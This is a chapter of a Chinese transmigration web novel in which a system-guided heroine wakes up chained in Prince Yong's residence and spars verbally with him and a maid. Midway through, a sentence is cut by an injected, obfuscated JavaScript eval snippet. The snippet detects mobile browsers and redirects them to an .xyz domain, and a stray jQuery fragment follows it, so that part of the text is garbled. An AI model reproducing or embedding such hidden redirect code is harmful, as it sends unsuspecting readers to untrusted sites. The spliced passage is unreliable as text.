麦色肌肤上尚且新鲜的血液淌成一条细细的红线,少年高鼻深目,线条锋利的面庞上挂着显而易见的愠怒。
真是熟悉而又陌生的一张脸啊。
甘悯的手尴尬地停留在半空,最后索性破罐子破摔,两只手谄媚地盖在对方还掐着自己脖子的手上。
“大哥,我看您生得俊逸无双,死在您的手下,我甘心了。”
甘悯眯着眼睛仔细观察了一下,确定自己没有认错人。
永王褚归云,蠢皇帝的聪明儿子,行六。
原著中出场不多,集中在后半部分,但只打高端局。
她记得此男凭借出色的外貌和绝对的心狠手辣,在《大雍》同人文中的热度不低。
褚归云看着那双通红的手,对着甘悯微微一笑,狭长的丹凤眼中映照出甘悯的脸:“真的?”
“真的!”甘悯小鸡啄米般点头,很是自觉地闭上眼睛等待死亡的来临,始终沉默不言的系统倒是忽然出声。
“宿主,你要不再考虑一下?”
“不要。”按原著内容和她对褚归云的了解,褚归云发起癫来,那个短时间的痛感屏蔽没用。
下一瞬甘悯后颈处一痛,彻底昏死过去。
褚归云眼疾手快地把人捞到怀里,额角上的青筋暴起。
不能,不能对她动手。
-
雪光透过窗纸照进屋内,烛台上的蜡烛被剪灭,只余下堆叠而起的烛泪。
狭窄的木屋中接连不断地有人进出。
“若是……,更……好好温养,……要劳心劳神。”
甘悯头痛欲裂,耳侧传来模糊不清的交谈声。
嘶,自己怎么就那么难杀呢。
她勉力睁开眼看去,几个白胡子老太老头站在床前,不远处立着一个修长挺拔的身影。
“她还能活多久?”熟悉的话语传进甘悯的耳朵。
“这个。”年迈的医官犹疑片刻,最后还是顶着褚归云的注视长叹一口气,“好好将养,能长命百岁。”
甘悯竖直了耳朵听到这么一句,没忍住笑出了声,十几道视线唰唰落在她身上。
……
对不起,你们继续。
“你们只管开方子。”褚归云斜睨了甘悯一眼。
片刻的寂静过后,为首的大夫躬身:“殿下宽心,我等必将倾尽毕生所学,保姑娘长命百岁。”
甘悯捏了捏身上轻薄的蚕丝被,闻言鼓励似的点点头,同时对褚归云恐吓老人的行为表以唾弃。
“统,你们恐怕不是搞错时间线,而是穿劈叉了吧?”
这看起来不像《大雍》原著,倒像是什么“当你成为落魄新娘另嫁他人,他……”的同人。
系统也不知干什么去了,许久也没给甘悯一个回应。
那头褚归云终于停下向医官反复确认甘悯病情的行为。
“林山,带人去药库。”
几个大夫如蒙大赦挤着退出去,屋内眨眼间空旷下来。甘悯甚至能看清楚空气中的浮尘。
死一般的寂静在空气中蔓延,甘悯和褚归云两个人面面相觑。
“您好?”甘悯犹豫着打了个招呼,把自己的手臂从被子里叮铃当啷地挣出来,就看到一对精致的手铐。
?
啥意思,她甘悯这些年一直勤勤恳恳寻死,从未做过任何违法乱纪之事,怎么一觉醒来还还喜提银手镯了?
她收回刚才那句话,应该问褚归云他活着是为了干嘛才对。
甘悯仔细观察了下手铐,面色复杂地瞅了一眼褚归云,玩闹似的晃了晃自己的手臂。
手铐连着链子叮当作响,从手腕滑到她的胳肢窝,又慢吞吞地经过她的手腕。
最后哗啦一声掉在地上。
甘悯垂下脑袋,唇角扯起一抹笑。
好低级的试探,她才不上当。
她低着头,也就没发现褚归云冷漠的神情出现了一丝龟裂。
“别生气,我不跑。我这个样子也不可能打得过你对不对?”在褚归云迈步上前的时候,甘悯立马扯起一个狗腿的笑容顺毛撸。
这位算是行动的人型骨肉相连摊主。
嗯,她没记错的话,是可以冷脸把人骨头捏碎的那种。
一直保持缄默的褚归云嘴唇动了动,胸口止不住地上下起伏。
甘悯期待地看向面前曾在不同的时间线都同样地拒绝了自己的犟种,希望他能说点有用的。
解释一下他到底在搞什么。
哪怕是霸道狂狷的囚禁宣言也行。
“欺人太甚。”
甘悯的大脑宕机了一瞬间,震撼地看向面前气得不轻,状态宛若被负心人抛弃了的褚归云,头顶缓缓出现一个硕大的问号。
“这位公子,不对,这位殿下。是您,把我掳过来,还要锁我没错吧?”甘悯伸手拽了一下床头的银链子,神色认真。
“你会跑。”褚归云静静地看着甘悯的眼睛,没有回答甘悯的问题。
甘悯硬生生被噎住了。
气的。
此时不知跑哪去了的系统终于给了回复:没错,这里就是原著世界。
“那现在的情况是有人中邪了?”
“宿主,谨言慎行。”
什么谨言慎行……
甘悯抬头对上褚归云的眼睛,这才发觉自己不慎说出了心里话,登时有点警惕往床角挪了挪自己的屁股。
“你说谁中邪了?”褚归云往前两步,膝盖已经抵到床沿,皱着眉头看向明显神思不属的甘悯。
甘悯哂笑:“我,我中邪了。”
褚归云闻言,眉间的沟壑愈深,若有所思地点点头,很是认可的模样。
甘悯的心一沉。
“来人,安排人去请天师。”
“民女忽然觉得自己又没问题了……”
甘悯立马开口补救,未曾想褚归云轻笑一声,随手扯下本牢牢钉在床头的银链子。
银色细链缠绕上褚归云的手腕,纵横的伤痕被掩盖,他弯下腰对着甘悯微微一笑:“听话,我就不关你。”
这是威胁吧?这是威胁吧!
“我与殿下平生素未谋面,何必如此待我?”
甘悯觉得自己要提醒一下这个忽然变得有点鬼畜的神经病,她只是一个在华京存在感无限接近于零的小透明而已。
没有投资价值的啊!
“我乐意。”
甘悯看着褚归云抛下一句话就潇洒离开的背影,嘴巴张张合合,最后还是在系统的阻拦下强忍住自己骂人的欲望。
“宿主宿主,他可是会捏人骨头的,超级痛!消消气消消气。”
系统胆战心惊地劝住甘悯,甘悯拍拍自己的胸脯,从床角处蛄蛹到床沿想给自己倒一杯水喝,心下暗自吐槽。
囚禁但不保障生活水平,咋能干出这么捞的事儿。
她正愤愤不平,一双素白的手将冒着热气的瓷杯递到甘悯手边,温柔的女声悠悠传来:“悯姑娘请用。”
炭盆中的红罗炭向外散出香气,甘悯茫然地接过面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269278|182231||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前的瓷杯,顺着一股力重新靠回床身上垫好的软枕。
等一下,她怎么一点脚步声都没听到的。
女人的眼角带着细纹,甘悯的手搭在她的小臂上,近乎能感受到肌肉的搏动。
“永王支线已解锁——永王的幕僚。支线详情——”
“吵死了。”
甘悯被忽然响起的系统提示音吓了一跳,稳住心神后决定还是先处理面前的事情。
“你是?”
因为一些特殊的原因,她在过去没有接触过永王这一脉手底下的人,只知道一些模糊的代号和他们所负责的任务。
“安秋,殿下专门拨来伺候您的嬷嬷。”
甘悯低下头喝了一口温水压压惊,莫名有点同情这个看起来不过三十出头的侍女。
可能马上就要升官了,结果被打发来这么一个地方照顾她一个会全自动生病的人类。
甘悯咕噜咕噜把杯子里的水一饮而尽,适应能力极强,两只手扒在安秋的手臂上,眼睛眨了眨。
“安秋,殿下有没有说什么时候让我接回府里?”
不管了,先代入一个哀怨的金丝雀好了。
“这里就是王府呀。”安秋一愣,旋即带着慈祥的笑意和甘悯解释她如今究竟在什么地方。
甘悯撒娇卖痴的神情一点点变得凝重。
把她带回王府是什么意思,她有同意和褚归云玩插翅难飞的囚禁游戏吗?
“永王府?”甘悯稳住自己的小白花形象,脸色煞白,“那他……就是永王?”
安秋一时间拉不开她,闻言瞳孔骤缩,坐在床沿紧张地看向甘悯。
“姑娘是失忆了吗?”
屋内越来越亮堂,床幔的阴影落在甘悯侧脸,她露出一个浅淡的微笑:“我应该失忆吗?”
安秋脸上的表情变得有点凝重。
前日深夜,夜半惊醒的王爷下了吩咐叫清出来最好养病的院子,随后便领着人打马消失在夜色中。
天还未亮便带着一个昏迷的新娘子回府,又派人马不停蹄地去请了御医来。
她本以为是什么苦名鸳鸯终成眷属,如今看来,似乎与之相差甚远。
“姑娘若是身子不适,可千万得同奴婢说。”主子的事情安秋不清楚,于是也只能这样搪塞过去。
甘悯摇摇头松开自己的手,消瘦的侧脸显出浓浓的哀伤。
怎么一个二个都那么精,谁来告诉她褚归云到底把她抓来干嘛的!
“我想自己呆一会儿,你先下去吧。”
甘悯缩到被子继续忧郁,过了会儿却没有听到脚步声。
“统子,这屋里面除了我之外到底还剩多少人?”
“还有五位。”
……?
明明刚才她肉眼能看到的就只有安秋一个人。
甘悯愤怒地攥拳,不一会儿又淡然地松开。
没辙了。
还能怎样。安秋是个十足的练家子,另外四个能应该也不差。
她一人一傻统难敌五双拳!
甘悯想开了。
反正她不是虐文女主,一没有感情深厚的爹娘给褚归云杀,二没有一身铮铮的凌霜傲骨,三没有痴情人设束手束脚。
人都如此威武了,那她就移呗。
当然,如果褚归云能想出来什么干脆利落的法子结束她这漫长的一生,她可以接受褚归云用她的骨灰放鞭炮。
“宿主,新的任务……”
“小嘴巴。”
系统安静了。